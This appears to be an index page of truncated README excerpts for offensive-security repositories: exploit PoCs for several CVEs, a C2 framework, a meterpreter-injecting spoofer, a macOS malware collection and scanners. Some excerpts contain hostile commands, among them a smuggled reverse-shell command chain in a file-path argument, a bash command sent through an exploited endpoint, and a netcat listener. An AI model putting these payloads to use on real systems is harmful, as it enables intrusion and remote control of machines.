sx

sx 是一款遵循 UNIX 哲学的命令行网络扫描器。 该项目的目标是创建一款拥有整洁简单代码的最快网络扫描器。 📖 目录 功能特性 安装 从源码构建 快速入门 参考 贡献 致谢 许可证 ✨ 功能特性 ⚡ 比 nmap 快 30 倍 ARP 扫描 ：扫描本地网络以检测活跃设备 ICMP 扫描 ：使用高级 ICMP 扫描技术检测活跃主机和防火墙规则 TCP SYN 扫描 ：传统的半开扫描以发现开放的 TCP 端口 TCP FIN / NULL / Xmas 扫描 ：绕过某些防火墙规则的扫描技术 带有任意 TCP 标志的自定义 TCP 扫描 ：发送任意奇特的报文，并从回复报文中获取所有 TCP...

CVE-2022-1388

CVE-2022-1388 Verificación y exploit para CVE-2022-1388 Instalación: python3 -m pip install -r requirements.txt Uso Individual : python3 cve.py s fullurl apicommand example python3 cve.py s http://127.0.0.1:8000/mgmt/tm/util/bash '"command":"run","utilCmdArgs":"-c id"' Masivo : python3 cve.py m...

cve-2024-31317

Exploración de CVE-2024-31317 CVE-2024-31317 proporciona acceso sin privilegios a cualquier uid y ámbito SELinux disponible para aplicaciones de Android legítimas. Esto proporciona acceso al uid 1000 system y uid 2000 shell, y puede activarse completamente desde una aplicación sin privilegios,...

CVE-2022-22954_VMware_PoC

CVE-2022-22954 PoC - Inyección de plantillas del lado del servidor Freemarker en VMware Workspace ONE Access Se ha encontrado una vulnerabilidad, clasificada como muy crítica, en Vmware Workspace ONE Access e Identity Manager. El componente afectado es Template Handler. Referencia:...

slmail-exploit

¡Estos scripts de Python son solo con fines educativos! ⚫ Ejemplo de uso: python exploit.py 192.168.0.100 ip victm NO OLVIDES ABRIR LA PUERTA EN TU MÁQUINA...

cve-2018-1002105

这修改自 https://gravitational.com/blog/kubernetes-websocket-upgrade-security-vulnerability/。所有功劳归于Gravitational的善良人们。 原始PoC代码被修改为不仅检查漏洞，而且实际运行命令，在第一个命名空间的第一个容器中。在本例中，它会在大多数集群的默认命名空间中的第一个pod/容器内执行curl -s google.com。由此，很容易制作一个实际工具来提取密钥、代码、外泄数据等。 CVE-2018-1002105...

ZeroPulse

ZeroPulse Una Plataforma Moderna de Comando y Control C2 con Integración de Cloudflare Tunnel CodeFactor 📋 Tabla de Contenidos Descripción General Características Arquitectura Requisitos Previos Instalación Configuración Uso Documentación de la API Seguridad Estructura del Proyecto Desarrollo...

zelos

Zelos Zelos Z eropoint E mulated L ightweight O perating S ystem is a python-based binary emulation platform. One use of zelos is to quickly assess the dynamic behavior of binaries via command-line or python scripts. All syscalls are emulated to isolate the target binary. Linux x8664 32- and...

social-analyzer

Social Analyzer - API, CLI, and Web App for analyzing & finding a person's profile across +1000 social media \ websites. It includes different analysis and detection modules, and you can choose which modules to use during the investigation process. The detection modules utilize a rating mechanism...

CmdLineSpoofer

命令行欺骗器 这是一个使用 C 注入 meterpreter shell 并同时欺骗命令行的示例。命令行存储在进程环境块（PEB）中，在新进程启动时会被记录，并在诸如 Process Hacker 和任务管理器等工具中显示。 简介 此代码基于 Adam Chester/XPN 的博客 如何像 Cobalt Strike 一样争论，该博客解释了 Cobalt Strike 在注入 beacon 时如何欺骗进程的命令行。 我以此为基础创建了一个 C 版本，它生成一个 PowerShell 进程并注入 meterpreter 反向 shell。诚然，无需 .Net...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

commix

English • Ελληνικά • Español • Français • فارسی • Bahasa Indonesia • Türkçe Commix short for command injection exploiter is an open source penetration testing tool, written by Anastasios Stasinopoulos @ancst, that automates the detection and exploitation of command and code injection...

CVE-2018-8639-EXP

CVE-2018-8639-EXP CVE-2018-8639 EXP Usage: CVE-2018-8639-EXP.exe command etc 1. 开源的样本大部分可能已经无法免杀,需要自行修改 2. 我认为基础核心代码的开源能够帮助想学习的人 3. 本人从github大佬项目中学到了很多 4. 若用本人项目去进行：HW演练/红蓝对抗/APT/黑产/恶意行为/违法行为/割韭菜，等行为，本人概不负责，也与本人无关 5. 本人已不参与大小HW活动的攻击方了，若溯源到timwhite id与本人无关...

vsftpd-cve-2011-2523-lab

Explotación de la puerta trasera VSFTPD 2.3.4 CVE-2011-2523 Un laboratorio práctico de pruebas de penetración que demuestra la identificación y explotación de la puerta trasera VSFTPD 2.3.4 CVE-2011-2523 en la máquina virtual intencionalmente vulnerable Metasploitable2 utilizando Metasploit...

quiver

Quiver : Kali Linux 的元工具 Quiver 是一个组织化的 shell 函数命名空间，可在终端中预填充命令，让你摆脱对笔记、复制、粘贴、编辑、再复制粘贴的依赖。Quiver 帮助你记住如何使用 arsenal 中的每个工具，并且不会将它们隐藏在难以维护或更新的脚本后面。相反，你可以使用 Quiver 为每种情况构建可组合的即时工作流。 Quiver 并未覆盖所有工具，它是我个人精选的收藏，我仍在不断添加和更新。针对不同类型的目标和 engagements，有太多工具可供选择，所以我只专注于那些维护良好且最新的工具。如果你希望加入自己偏好的工具，请随时在 issues...

Malware

Malware Colección de Malware para macOS ⚠️ Esta página contiene enlaces a malware activo! Al descargar malware de este sitio, renuncias a todos los derechos de reclamar cualquier daño resultante de un mal manejo o autoinfección. 📡 Ejecutar las muestras puede resultar en conexiones a infraestructur...

ESLockDecryptor

ESLockDecryptor ESLockDecryptor es una herramienta de línea de comandos diseñada para recuperar y descifrar archivos cifrados por ES File Explorer archivos con la extensión .eslock. Admite el procesamiento tanto de archivos individuales como de directorios completos. !WARNING ¡SOLO PARA USO LEGAL...

CVE-2022-36231

CVE-2022-36231 The ruby gem pdfinfo /dev/null As with the initialize method there is no validation performed on the @pdfpath variable. This allows us to make use of command chaining with ; to execute an arbitrary command. info = PDF::Info.new'pdf/sample1.pdf; $rm /tmp/f;mkfifo /tmp/f;cat...

CVE-2012-2982

CVE-2012-2982 描述 Webmin 1.590 及更早版本中的 file/show.cgi 允许远程认证用户通过路径名中的无效字符（例如 |（管道符））执行任意命令。 安装 1. git clone https://github.com/CpyRe/CVE-2012-2982.git 2. pip3 install -r requirements.txt 使用方法 1. nc -nlvp 2. python3 exp.py 或 python3 subprocess-exp.py 3. RCE!!...

CVE-2019-17625

CVE-2019-17625 Existe una vulnerabilidad de XSS almacenado en rambox 0.6.9 debido a parámetros no saneados en el campo de nombre cuando un usuario añade un servicio. Dado que rambox se ejecuta en NodeJS, esto permite la inyección de comandos del sistema operativo en una etiqueta o . Nota: Este...